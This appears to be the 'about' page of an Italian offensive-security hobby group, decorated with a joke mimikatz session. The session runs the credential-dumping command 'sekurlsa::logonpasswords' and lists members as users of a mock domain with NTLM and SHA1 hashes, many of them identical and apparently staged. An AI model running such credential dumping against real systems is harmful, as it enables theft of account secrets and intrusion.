Originally started as a joke made between Her0, last and Riccardo, the Advanced Persistent Tortellini group is made of a bunch of Italian guys interested in deeply technical topics and offensive techniques. We code, hack, and publish research here from time to time. Life is too short, steal some SYSTEM tokens!

  .#####.   mimikatz 2.2.0 (x64) #17763 Jan 15 2021 09:31:27
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 23361347 (00000000:01647743)
Session           : Interactive from 0
User Name         : last
Domain            : APTWTF
Logon Server      : DC01
Logon Time        : 10/8/2019 2:38:07 PM
SID               : S-1-5-21-2291914956-3290296217-2402366952-3604
	msv :	
	 [00000003] Primary
	 * Username : last
	 * Domain   : APTWTF
	 * NTLM     : 23e5cc41a8243d9aa5bac42502defa2d
	 * SHA1     : e12e3efc409c70460f3b34eba43496a66f47a82b

Authentication Id : 0 ; 23250399 (00000000:0162c5df)
Session           : Interactive from 0
User Name         : Her0
Domain            : APTWTF
Logon Server      : DC01
Logon Time        : 10/8/2019 2:36:55 PM
SID               : S-1-5-21-2291914956-3290296217-2402366952-3605
	msv :	
	 [00000003] Primary
	 * Username : Her0
	 * Domain   : APTWTF
	 * NTLM     : d947b8a5091f370c7976da8b0b56ea67
	 * SHA1     : 30554ce0193e0bcd4275daf696ff0835cb046cbd

Authentication Id : 0 ; 19845220 (00000000:012ed064)
Session           : RemoteInteractive from 2
User Name         : Dottor_Morte
Domain            : APTWTF
Logon Server      : DC01
Logon Time        : 10/8/2019 2:23:06 PM
SID               : S-1-5-21-4116505479-897374152-2296881962-3606
	msv :	
	 [00000003] Primary
	 * Username : Dottor_Morte
	 * Domain   : APTWTF
	 * NTLM     : 64fbd7e2c5ff6829d298d36f2874f633
	 * SHA1     : a285362bd5f94c609c728c5c1876d8cb8dbfec5e

Authentication Id : 0 ; 19845220 (00000000:012ed064)
Session           : RemoteInteractive from 2
User Name         : VoidSec
Domain            : APTWTF
Logon Server      : DC01
Logon Time        : 10/8/2019 2:23:06 PM
SID               : S-1-5-21-4116505479-897374152-2296881962-3607
	msv :	
	 [00000003] Primary
	 * Username : VoidSec
	 * Domain   : APTWTF
	 * NTLM     : 64fbd7e2c5ff6829d298d36f2874f633
	 * SHA1     : a285362bd5f94c609c728c5c1876d8cb8dbfec5e
   
Authentication Id : 0 ; 19845220 (00000000:012ed064)
Session           : RemoteInteractive from 2
User Name         : MrSaighnal
Domain            : APTWTF
Logon Server      : DC01
Logon Time        : 10/8/2019 2:23:06 PM
SID               : S-1-5-21-4116505479-897374152-2296881962-3608
	msv :	
	 [00000003] Primary
	 * Username : MrSaighnal
	 * Domain   : APTWTF
	 * NTLM     : 64fbd7e2c5ff6829d298d36f2874f633
	 * SHA1     : a285362bd5f94c609c728c5c1876d8cb8dbfec5e

Authentication Id : 0 ; 19845220 (00000000:012ed064)
Session           : RemoteInteractive from 2
User Name         : Oblio
Domain            : APTWTF
Logon Server      : DC01
Logon Time        : 10/8/2019 2:23:06 PM
SID               : S-1-5-21-4116505479-897374152-2296881962-3609
	msv :	
	 [00000003] Primary
	 * Username : Oblio
	 * Domain   : APTWTF
	 * NTLM     : 64fbd7e2c5ff6829d298d36f2874f633
	 * SHA1     : a285362bd5f94c609c728c5c1876d8cb8dbfec5e

Authentication Id : 0 ; 19845220 (00000000:012ed064)
Session           : RemoteInteractive from 2
User Name         : VincentDThe
Domain            : APTWTF
Logon Server      : DC01
Logon Time        : 10/8/2019 2:23:06 PM
SID               : S-1-5-21-4116505479-897374152-2296881962-3610
	msv :	
	 [00000003] Primary
	 * Username : VincentDThe
	 * Domain   : APTWTF
	 * NTLM     : 64fbd7e2c5ff6829d298d36f2874f633
	 * SHA1     : a285362bd5f94c609c728c5c1876d8cb8dbfec5e
   
Authentication Id : 0 ; 19845220 (00000000:012ed064)
Session           : RemoteInteractive from 2
User Name         : Electroxero
Domain            : APTWTF
Logon Server      : DC01
Logon Time        : 10/8/2019 2:23:06 PM
SID               : S-1-5-21-4116505479-897374152-2296881962-3611
	msv :	
	 [00000003] Primary
	 * Username : Electroxero
	 * Domain   : APTWTF
	 * NTLM     : 64fbd7e2c5ff6829d298d36f2874f633
	 * SHA1     : a285362bd5f94c609c728c5c1876d8cb8dbfec5e